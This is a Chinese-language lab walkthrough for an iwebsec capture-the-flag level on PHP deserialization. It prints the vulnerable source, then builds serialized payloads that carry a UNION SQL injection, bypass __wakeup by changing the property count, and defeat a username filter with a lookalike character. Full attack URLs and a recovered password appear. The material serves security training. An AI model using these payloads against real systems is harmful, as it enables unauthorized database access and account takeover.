目录
第02关 反序列化漏洞示例02
1.打开靶场
2.源码分析
3.login函数利用
4.show函数利用
5.参数反序列化设计
6.show函数查询orange
7.增加注释语句
8.show函数SQL注入获取密码
(1)构造SQL语句
(2)构造序列化
(3)实战SQL注入渗透
(4)绕过wakeup
8.登录渗透
(1)绕过orange账号过滤
(2)序列化
(3)实战渗透
第02关 反序列化漏洞示例02
1.打开靶场
iwebsec 靶场漏洞库iwebsechttp://iwebsec.com:81/unserialize/02/index.php
2.源码分析
如下所示,有__destruct和__wakeup函数的调用,故而存在反序列化漏洞。
<?php
require_once('../../header.php');
?>
<html>
<head>
<title>反序列化漏洞</title>
</head>
<h2>反序列化漏洞</h2>
<div class="alert alert-success">
<p>/index.php?data=hello </p>
</div>
<body>
<?php
include "config.php";
class WEB{
private $method;
private $args;
private $conn;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}
function show() {
list($username) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
$obj = $this->__query($sql);
if ( $obj != false ) {
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("error!");
}
}
function login() {
global $FLAG;
list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}
$obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}
function source() {
highlight_file(__FILE__);
}
function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "CREATE TABLE IF NOT EXISTS users (
username VARCHAR(64),
password VARCHAR(64),
role VARCHAR(64)
) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}
function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
function __close() {
mysql_close($this->conn);
}
function __destruct() {
$this->__conn();
if (in_array($this->method, array("show", "login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die("What do you do?");
}
$this->__close();
}
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
} else {
new WEB("source", array());
}
关键函数destruct是通过参数来判断,如果传入参数时show就决定调用show函数,如果传入参数时login就调用login函数,另外如果参数时source就调用source函数。
function __destruct() {
$this->__conn();
if (in_array($this->method, array("show", "login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die("What do you do?");
}
$this->__close();
}
另一个关键函数wakeup则是对SQL语句进行过滤处理
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
3.login函数利用
分析login函数,此函数中可以通过用户名和密码登陆后输出flag。如下所示可知存在用户名为orange,它的角色role是admin。
function login() {
global $FLAG;
list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}
$obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}
SQL语句的查询条件为用户名和密码,但是对username和password进行了过滤,且当两者都存在时才能查询成功
"SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password
根据如下内容可知如果用户名为orange,或者SQL语句中出现orange后不让查询
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}
根据如下内容可知道如果角色为admin且SQL语句查找成功时,可以确保打印出flag
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
}
根据如上内容,如果想渗透成功就需要使用用户名orange,于是
SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password
由于这里使用了mysql_escape_string函数处理,故而可以考虑通过show函数获取到admin角色的账号的户名和密码
4.show函数利用
分析show函数源码,大概功能是基于用户名来进行SQL查询。如下所示,SQL语句中并没有过滤函数对其进行处理
function show() {
list($username) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
$obj = $this->__query($sql);
if ( $obj != false ) {
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("error!");
}
}
其中SQL语句的闭合方式为单引号,可以构造union查询的SQL注入语句
"SELECT * FROM users WHERE username='%s'", $username
使用参数
username=orange
5.参数反序列化设计
根据源码,根据data进行参数传入,传入后对参数进行反序列化函数处理
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
} else {
new WEB("source", array());
}
基于此,需要对data参数进行反序列化,构造如下语句
<?php
class WEB{
private $method;
private $args;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$args['username'] = "orange";
$args['password'] = "";
$method="show"; #或者login,或者show,或者为source
//进行序列化
$data = new WEB($method,$args);
var_dump(serialize($data));
?>
6.show函数查询orange
举例,如果想获取orange账号的show函数调用结果,构造参数如下
将方框用%00替换,故而参数为
O:3:"WEB":2:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:2:{s:8:"username";s:6:"orange";s:8:"password";s:0:"";}}
http://iwebsec.com:81/unserialize/02/index.php?data=O:3:"WEB":2:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:2:{s:8:"username";s:6:"orange";s:8:"password";s:0:"";}}http://iwebsec.com:81/unserialize/02/index.php?data=O:3:%22WEB%22:2:%7Bs:11:%22%00WEB%00method%22;s:4:%22show%22;s:9:%22%00WEB%00args%22;a:2:%7Bs:8:%22username%22;s:6:%22orange%22;s:8:%22password%22;s:0:%22%22;%7D%7D
获取到orange账号的role为为admin
7.增加注释语句
为了调试代码更加清晰,在wakeup函数处理前后增加print语句,show函数前后增加print语句,从而更清晰明了看出SQL语句是否正确
<?php
require_once('../../header.php');
?>
<html>
<head>
<title>反序列化漏洞</title>
</head>
<h2>反序列化漏洞</h2>
<div class="alert alert-success">
<p>/index.php?data=hello </p>
</div>
<body>
<?php
include "config.php";
class WEB{
private $method;
private $args;
private $conn;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}
function show() {
list($username) = func_get_args();
print_r("\r\n");
print_r($username);
print_r("\r\n");
$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
print_r($sql);
print_r("\r\n");
$obj = $this->__query($sql);
if ( $obj != false ) {
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("error!");
}
}
function login() {
global $FLAG;
list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}
$obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}
function source() {
highlight_file(__FILE__);
}
function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "CREATE TABLE IF NOT EXISTS users (
username VARCHAR(64),
password VARCHAR(64),
role VARCHAR(64)
) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}
function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
function __close() {
mysql_close($this->conn);
}
function __destruct() {
$this->__conn();
if (in_array($this->method, array("show", "login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die("What do you do?");
}
$this->__close();
}
function __wakeup() {
foreach($this->args as $k => $v) {
print_r($this->args[$k]);
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
print_r("\r\n");
print_r($this->args[$k]);
print_r("----------end wakeup\r\n");
}
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
} else {
new WEB("source", array());
}
require_once '../../footer.php';
8.show函数SQL注入获取密码
(1)构造SQL语句
show函数SQL语句的闭合方式为单引号,可以构造union查询的SQL注入语句
"SELECT * FROM users WHERE username='%s'", $username
且查询成功仅打印如下信息(即账号的username和role),算上login函数提示的中users表中还有密码参数在内,猜测这次select *应该是查询出至少3列数据。
$obj = $this->__query($sql);
sprintf("%s is %s", $obj->username, $obj->role)
如上所示,打印了obj内容中的username和role,select *内容为3列,由于不知道顺序使什么样的,为了使可以查询password,我们可以构造语句
union select passord,passord,passord from users where username='orange'
尝试与union注入参数合并使用,如下所示
ljn' union select passord,passord,passord from users where username='orange' --
(2)构造序列化
<?php
class WEB{
private $method;
private $args;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$args=array("ljn' union select password,password,password from users where username='orange' -- ");
$method="show"; #或者login,或者show,或者为source
//进行序列化
$data = new WEB($method,$args);
var_dump(serialize($data));
?>
生成如下内容
将方框用%00替换,参数为
"O:3:"WEB":2:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}"
(3)实战SQL注入渗透
构造如下url
http://192.168.71.151/unserialize/02/index.php?data=O:3:"WEB":2:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}
渗透结果如下所示
这里可以看到函数被wakeup函数处理,输出的内容中包含了mysql_escape_string,增加了转义符处理,如下所示
SELECT * FROM users WHERE username='ljn\' union select password,password,password from users where username=\'orange\' --
(4)绕过wakeup
正因如此,需要想办法绕过wakeup函数的处理,可以通过将对象属性的个数进行修改,比如说将数字数量修改一下
O:3:"WEB":3:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}
接下来进行渗透
http://192.168.71.151/unserialize/02/index.php?data=O:3:"WEB":3:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}
渗透结果如下所示
最终获取到orange用户的密码为mall123mall
{"msg":"mall123mall is mall123mall"}
iwebsec官网注入地址为
http://iwebsec.com:81/unserialize/02/index.php?data=O:3:"WEB":3:{s:11:"%00WEB%00method";s:4:"show";s:9:"%00WEB%00args";a:1:{i:0;s:83:"ljn' union select password,password,password from users where username='orange' -- ";}}
8.登录渗透
(1)绕过orange账号过滤
构造参数,正常来讲如下所示可以输出flag。
$args['username'] = 'orange';
$args['password'] = 'mall123mall';
$method="login";
但是根据login函数中对oragne账号的过滤,可知如果用户名为orange,或者SQL语句中出现orange后程序会直接停止,无法输出flag。
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}
故而在渗透过程中,需要对orange进行替换,将其替换为orÃnge
(2)序列化
根据上一步的用户名 'orÃnge'和密码'mall123mall'进行登录操作,即参数为
$args['username'] = 'orÃnge';
$args['password'] = 'mall123mall';
$method="login";
由于源码中会对参数进行反序列化操作,故而需要将操作进行序列化,如下所示
<?php
class WEB{
private $method;
private $args;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$args['username'] = 'orÃnge';
$args['password'] = 'mall123mall';
$method="login";
//进行序列化
$data = new WEB($method,$args);
var_dump(serialize($data));
?>
(3)实战渗透
生成内容将方框乱码替换为%00,这是因为它本身就是对%00进行编码处理后的值,如下所示替换后如下右图所示
输入参数为
O:3:"WEB":2:{s:11:"%00WEB%00method";s:5:"login";s:9:"%00WEB%00args";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:11:"mall123mall";}}
构造url为
http://iwebsec.com:81/unserialize/02/index.php?data=O:3:"WEB":2:{s:11:"%00WEB%00method";s:5:"login";s:9:"%00WEB%00args";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:11:"mall123mall";}}
如下所示